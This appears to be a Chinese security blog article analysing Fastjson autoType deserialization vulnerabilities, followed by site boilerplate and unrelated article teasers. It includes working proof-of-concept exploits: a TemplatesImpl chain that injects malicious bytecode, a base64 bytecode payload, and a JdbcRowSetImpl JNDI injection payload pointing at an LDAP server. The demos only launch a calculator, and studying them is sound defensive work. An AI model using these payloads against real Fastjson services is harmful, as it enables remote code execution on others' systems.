网络安全之反序列化漏洞分析

简介

FastJson 是 alibaba 的一款开源 JSON 解析库,可用于将 Java 对象转换为其 JSON 表示形式,也可以用于将 JSON 字符串转换为等效的 Java 对象分别通过toJSONStringparseObject/parse来实现序列化和反序列化。

使用

对于序列化的方法toJSONString()有多个重载形式。

  1. SerializeFeature: 通过设置多个特性到FastjsonConfig中全局使用, 也可以在使用具体方法中指定特性

  2. SerializeFilter: 一个接口, 通过配置它的子接口或者实现类就可以以扩展编程的方式实现定制序列化

  3. SerializeConfig: 添加特点类型自定义的序列化配置

对于反序列化的方法parseObject()也同样有多个重载形式。

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

序列化操作

可以发现这两个的区别,如果使用了 toJSONString()的属性值SerializerFeature.WriteClassName,就会在序列化的时候多写入一个@type后面跟着的是反序列化的类名。

反序列化操作

package pers.fastjson;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;
public class UnSerialTest {    public static void main(String[] args) {        String jsonStringWithType = "{\"@type\":\"pers.fastjson.Student\",\"name\":\"RoboTerh\"}";        String jsonStringWithoutType = "{\"name\":\"RoboTerh\"}";
        System.out.println("use JSON.parse with type......");        Object o1 = JSON.parse(jsonStringWithType);        System.out.println(o1);        System.out.println("------------------------------------");
        System.out.println("use JSON.parse without type....");        Object o2 = JSON.parse(jsonStringWithoutType);        System.out.println(o2);        System.out.println("-------------------------------------");
        System.out.println("use JSON.parseObject with type.......");        JSONObject o3 = JSON.parseObject(jsonStringWithType);        System.out.println(o3);        System.out.println("--------------------------------------");
        System.out.println("use JSON.parseObject without type.........");        JSONObject o4 = JSON.parseObject(jsonStringWithoutType);        System.out.println(o4);        System.out.println("----------------------------------------");
        System.out.println("use JSON.parseObject without type but hava .Class");        Student o5 = JSON.parseObject(jsonStringWithoutType, Student.class);        System.out.println(o5);    }}

复制代码

可以通过结果发现 1 和 5 成功反序列化,没成功都是因为没有确定需要反序列化的类。

我们可以发现,在引入了@type之后,JSON.parseObject调用了getter/setter方法,JSON.parse调用了setter方法。

当然,其他的方式也是可以调用getter方法的,但是有条件限制:

条件一、方法名需要长于 4 条件二、不是静态方法条件三、以 get 字符串开头,且第四个字符需要是大写字母条件四、方法不能有参数传条件五、继承自 Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong 条件六、此 getter 不能有 setter 方法(程序会先将目标类中所有的 setter 加入 fieldList 列表,因此可以通过读取 fieldList 列表来判断此类中的 getter 方法有没有 setter)

因为fastjson存在autoType机制, 当用户指定@type时, 存在调用恶意setter/getter的情况, 这就是fastjson反序列化漏洞。

简单的漏洞

//Evil.javapackage pers.fastjson;
import java.io.IOException;
public class Evil {    private String name;
    public Evil () {        System.out.println("构造方法");    }    public void setName(String name) throws IOException {        this.name = name;        System.out.println("调用了setName方法");        Runtime.getRuntime().exec("calc");    }    public String getName() {        System.out.println("调用了getName方法");        return name;    }}

复制代码

//EvilTest.javapackage pers.fastjson;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;
public class EvilTest {    public static void main(String[] args) {        String jsonString = "{\"@type\":\"pers.fastjson.Evil\",\"name\":\"RoboTerh\"}";        JSONObject o = JSON.parseObject(jsonString);        System.out.println(o);    }}

复制代码

成功弹出了计算器,

我们调式分析分析,

JSON.parseObject处下的断点。

首先使用了 parse()方法进行反序列化操作。

JSON.parse(String text, int features)创建了DefaultJSONParser对象。

在成功创建了该对象之后通过判断ch{ / [为 token 赋值,这里是 12。

DefaultJSONParser#parse方法中通过判断 token 的值,进入创建了一个JSONObject对象。

parseObject方法, 这里会通过scanSymbol获取到@type指定类, 然后通过TypeUtils.loadClass方法加载Class.

先是首先在 maping 中寻找 JDK 的内置类,没有找到之后使用 ClassLoader 寻找,得到clazz的之后进行返回

创建了ObjectDeserializer并且调用了getDeserializer方法。

Templateslmpl 利用链

如果一个类中的getter满足调用条件而且存在可利用点,攻击链就产生了。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中就存在一个私有变量_outputProperties,他的getter方法就满足在反序列化的时候的调用条件。

分析利用链,

从漏洞触发点开始Templateslmpl#getTransletInstance方法。

这里通过调用_class[_transletIndex]newInstance()方法进行实例化操作,我们追踪_class[_transletIndex]的出处,看看是否可以控制,进行恶意操作。

值得注意的是,我们想要达到漏洞点,在getTransletInstance()方法的两个 if 语句中,我们需要保证他的_name这个私有属性不为空,否则就直接返回了 null,而不会达到漏洞点。

在第二个语句中就是通过defineTransletClasses()方法获得了_class_transletIndex的值,进入它。

首先判断_bytecodes是否为空,这里的_bytecodes同样是Templateslmpl类的成员变量,可控

如果这里不为空的话,就会执行。

而且这里如果_tfactory不为空的话,就会导致出现异常,然后返回,不会继续执行程序,我们需要保证它不为 null,虽然他也是Templateslmpl类的成员变量,但是他没有对应的setter,我们可以通过Feature.SupportNonPublicField来进行修改。

接着走,在后面有一个 for 循环,

通过loader.defineClass修饰之后将_bytecodes[i]赋值给_class[i],跟进 defineClass 方法。

他是ClassLoaderdefineClass的重写,作用是将字节码转化为 Class,

转回defineTransletClasses,在 if 判断语句中,如果它是 main class 的时候我们就为_transletIndex赋值。

现在重新回到getTranslateInstance()方法,现在这里的_class[_translateIndex]就是我们为_bytecodes赋值的恶意 class,我们这里将他给实例化了,成功利用恶意类,

现在我们可以知道getTranslateInstance()是可以执行恶意类的,我们搜索在Templateslmpl类中什么调用了这个方法的。

可以发现在newTransformer()方法中使用了 getTransletInstance()方法。

继续搜索在哪里调用了 newTransformer()方法。

getOutputProperties()方法调用了他,而且这个方法,在反序列化的时候会被调用,现在,这个利用链就完整了。

//利用链getOutputProperties()    newTransformer()      getTransletInstance()        defineTransletClasses()      _class[_transletIndex].newInstance()

复制代码

POC

package pers.fastjson;
import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.CannotCompileException;import javassist.ClassPool;import javassist.CtClass;import javassist.NotFoundException;import org.apache.commons.codec.binary.Base64;
import java.io.IOException;
public class Fj24POC {    public static class RoboTerh {
    }    public static String makeClasses() throws NotFoundException, CannotCompileException, IOException {
        ClassPool pool = ClassPool.getDefault();        CtClass cc = pool.get(RoboTerh.class.getName());        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";        cc.makeClassInitializer().insertBefore(cmd);        String randomClassName = "RoboTerh" + System.nanoTime();        cc.setName(randomClassName);        cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));        byte[] evilCodes = cc.toBytecode();
        return Base64.encodeBase64String(evilCodes);    }
    public static String exploitString() throws NotFoundException, CannotCompileException, IOException {        String evilCodeBase64 = makeClasses();        final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";        String exploit = "{'RoboTerh':{" +                "\"@type\":\"" + NASTY_CLASS + "\"," +                "\"_bytecodes\":[\"" + evilCodeBase64 + "\"]," +                "'_name':'RoboTerh'," +                "'_tfactory':{ }," +                "'_outputProperties':{ }" +                "}}\n";
        return exploit;    }
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {        String exploit = exploitString();        System.out.println(exploit);        //JSON.parse(exploit, Feature.SupportNonPublicField);        //JSON.parseObject(exploit, Feature.SupportNonPublicField);        JSON.parseObject(exploit, Object.class, Feature.SupportNonPublicField);    }}

复制代码

//payload{"RoboTerh":{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAhSb2JvVGVyaAEADElubmVyQ2xhc3NlcwEAIExwZXJzL2Zhc3Rqc29uL0ZqMjRQT0MkUmib1Rlcmg7AQAKU291cmNlRmlsZQEADEZqMjRQT0MuamF2YQwABAAFBwATAQAecGVycy9mYXN0anNvbi9GajI0UE9DJFJvYmUZXJoAQAQamF2YS9sYW5nL09iamVjdAEAFXBlcnMvZmFzdGpzb24vRmoyNFBPQwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAXABgKABYAGQEABGNhbGMIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFlJvY9UZXJoMjY5OTQ4OTExMjAwMDABABhMUmib1RlcmgyNjk5NDg5MTEyMDAwMDsBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAjCgAkAA8AIQACACQAAAAAAAIAAQAEAAUAAQAGAAAALwABAAEAAAAFKrcAJbEAAAACAAcAAAAGAAEAAAAPAAgAAAAMAAEAAAAFAAkAIgAAAAgAFAAFAAEABgAAABYAAgAAAAAACrgAGhIctgAgV7EAAAAAAAIADQAAAAIADgALAAAACgABAAIAEAAKAAk="],'_name':'RoboTerh','_tfactory':{ },'_outputProperties':{ }}}

复制代码

条件限制

需要开启Feature.SupportNonPublicField这个特性。

JdbcRowSetImpl 利用链

分析利用链

JdbcRowSetImpl类位于com.sun.rowset.JdbcRowSetImpl中,它本身没有实现Serializeble接口,但是他是BaseRowSet类的子类,该类实现了该接口,所以它可以进行序列化。

链子的核心触发点是javax.naming.InitialContext#lookup的参数可控造成的漏洞。

JdbcRowSetImpl#setAutoCommit中如果this.conn为空的时候,就会调用this.connect方法。

然后在 connect 方法中就会调用Javax.naming.InitialContext#lookup方法,参数是dataSourceName成员变量。

//调用链JdbcRowSetImpl对象    getDataSource      setAutocommit方法        context.lookup(datasourcename)

复制代码

POC

package pers.fastjson;
import com.alibaba.fastjson.JSON;
public class Fj24_Jdbc_POC {    public static void main(String[] args) {        String payload = "{" +                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +                "\"dataSourceName\":\"ldap://127.0.0.1:8888/EvilObject\"," +                "\"autoCommit\":\"true\"," +                "}";        //JSON.parseObject(payload); 成功        //JSON.parse(payload); 成功        JSON.parseObject(payload, Object.class);    }}

复制代码

//payload{"RoboTerh":{  "@type":"com.sun.rowset.JdbcRowSetImpl",  "dataSourceName":"ldap://127.0.0.1:8888/evilObject",  "autoCommit":true}}

复制代码

条件限制,

使用了 JNDI 注入,利用条件相对较低,但是需要连接远程恶意服务器,需要在有网的情况下执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/35044.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

卷积神经网络| 猫狗系列【AlexNet】

首先,搭建网络: AlexNet神经网络原理图: net代码:【根据网络图来搭建网络,不会的看看相关视频会好理解一些】 import torchfrom torch import nnimport torch.nn.functional as Fclass MyAlexNet(nn.Module): def…

Flutter学习四:Flutter开发基础(六)调试Flutter应用

目录 0 引言 1 Flutter异常捕获 1.1 Dart单线程模型 1.2 Flutter异常捕获 1.2.1 Flutter框架异常捕获 1.2.1.1 Flutter默认异常捕获方式 1.2.1.2 自己捕获异常并上报 1.2.2 其他异常捕获与日志收集 1.2.3 最终的错误上报代码 0 引言 本文是对第二版序 | 《Flutter实…

《Lua程序设计》--学习2

表 Lua语言中的表本质上是一种辅助数组(associative array),这种数组不仅可以使用数值作为索引,也可以使用字符串或其他任意类型的值作为索引(nil除外)。 Lua语言中的表要么是值要么是变量,它…

防火墙基本原理详解

概要 防火墙是可信和不可信网络之间的一道屏障,通常用在LAN和WAN之间。它通常放置在转发路径中,目的是让所有数据包都必须由防火墙检查,然后根据策略来决定是丢弃或允许这些数据包通过。例如: 如上图,LAN有一台主机和一…

【macOS 系列】如何在mac 邮件客户端配置QQ邮箱和第二个账号

文章目录 一、配置QQ邮箱二、添加新的账户 一、配置QQ邮箱 需要在QQ邮箱账户设置中开启: 开启时,会让你发短信到指定号码,然后就会弹出一个验证码 也就是添加邮箱的密码不是QQ密码,而是这个验证码,这个可以生成多个&…

【OpenGL】读取视频并渲染

😏★,:.☆( ̄▽ ̄)/$:.★ 😏 这篇文章主要介绍读取视频并渲染。 学其所用,用其所学。——梁启超 欢迎来到我的博客,一起学习,共同进步。 喜欢的朋友可以关注一下,下次更新不迷路&#…

ELK实验部署过程

ELK集群部署环境准备 配置ELK日志分析系统 192.168.1.51 elk-node1 es、logstash、kibana 192.168.1.52 elk-node2 es、logstash 192.168.1.53 apache logstash (我这里是把虚拟机的配置全部都改为2核3G的) 2台linux 第1台:elk-nod…

【数据库原理】MyShop 商城数据库设计(SQL server)

MyShop 商城数据库设计 项目背景定义课程设计要求概念结构设计逻辑结构设计数据结构的描述用户信息数据结构的描述地址信息数据结构的描述商品类别数据结构的描述商品数据结构的描述购物车数据结构的描述订单数据结构的描述订单项数据结构的描述 物理结构设计用户表结构地址表结…

STM32——GPIO配置

文章目录 一、GPIO八种模式1. 输入2. 输出3. 如何选择GPIO的模式 二、库函数GPIO配置1. 配置代码2.参数设置 一、GPIO八种模式 GPIO的输入输出是对于STM32单片机来说的。以下仅为个人粗略笔记,内部电路分析可参考博客https://blog.csdn.net/k666499436/article/det…

计算机网络_ 1.3 网络核心(数据交换_电路交换_多路复用)

计算机网络_数据交换_电路交换_多路复用 多路复用频分多路复用FDM时分多路复用TDM波分多路复用WDM码分多路复用CDM 多路复用 多路复用(Multiplexing),简称复用,是通信技术的基本概念。 链路/网络资源(如带宽&#x…

【K8S系列】如何高效查看 k8s日志

序言 你只管努力,其他交给时间,时间会证明一切。 文章标记颜色说明: 黄色:重要标题红色:用来标记结论绿色:用来标记一级论点蓝色:用来标记二级论点 Kubernetes (k8s) 是一个容器编排平台&#x…

docker安装失败 应用程序无法启动,因为应用程序的并行配置不正确

问题描述 报错“应用程序无法启动,因为应用程序的并行配置不正确”。 配置:windows10 解决过程 网上的解决方案有三种: 启动windows服务Windows Modules Installer。运行sxstrace.exe。安装visual c相关依赖。下载visual studio installer…

1.6 OSI 七层参考模型

OSI 参考模型 OSI参考模型解释的通信过程OSI参考模型数据封装与通信过程物理层功能数据链路层功能网络层的功能传输层功能会话层功能表示层功能应用层功能 开放系统互连 (OSI)参考模型是由国际标准化组织 (ISO) 于1984年提出的分层网络体系结构模型目的是支持异构网络系统的互联…

Selenium--做任何你想做的事情

大家好,今天为大家介绍Selenium自动化浏览器。就是这样!你可以通过这种力量做任何你想做的事情。 “getDevTools() 方法返回新的 Chrome DevTools 对象,允许您使用 send() 方法发送针对 CDP 的内置 Selenium 命令。这些命令是包装方法&#x…

k8s Label 2

在 k8s 中,我们会轻轻松松的部署几十上百个微服务,这些微服务的版本,副本数的不同进而会带出更多的 pod 这么多的 pod ,如何才能高效的将他们组织起来的,如果组织不好便会让管理微服务变得混乱不堪,杂乱无…

C#(四十九)之关于string的一些函数

1&#xff1a;startswith 字符串以。。。开头 // startswith 字符串以。。。开头string[] strArr { "asd","azx","qwe","aser","asdfgh"};for (int i 0; i < strArr.Length; i){if(strArr[i].StartsWith("as&qu…

LiangGaRy-学习笔记-Day28

1、回顾知识 1.1、docker启动MySQL 安装docker #准备好二进制的包 [rootNode2 ~]# ls docker-20.10.9.tgz docker-20.10.9.tgz [rootNode2 ~]# #解压docker的二进制包 [rootNode2 ~]# tar -xf docker-20.10.9.tgz #把它移动到/usr/local/下 [rootNode2 ~]# mv docker /usr/…

logback-spring.xml详解

本文来写说下logback-spring.xml相关的知识与概念 文章目录 概述configuration元素定义上下文名称定义变量appender组件RollingFileAppender配置logger配置root配置ELK的配置输出logback状态数据异步输出日志代码中的日志格式本文小结 概述 对于xml日志文件的配置&#xff0c;大…

语义分割大模型RSPrompter论文阅读

论文链接 RSPrompter: Learning to Prompt for Remote Sensing Instance Segmentation based on Visual Foundation Model 开源代码链接 RSPrompter 论文阅读 摘要 Abstract—Leveraging vast training data (SA-1B), the foundation Segment Anything Model (SAM) propo…

遗传算法(GA)优化后RBF神经网络优化分析(Matlab代码实现)

目录 1 遗传算法 2 RBF神经网络 3 Matlab代码实现 4 结果 1 遗传算法 遗传算法是一种模拟自然界进化过程的优化算法。它通过模拟生物进化的遗传、交叉和变异等过程&#xff0c;来搜索最优解或近似最优解。 遗传算法的基本步骤如下&#xff1a; 初始化种群&#xff1a;随机生成…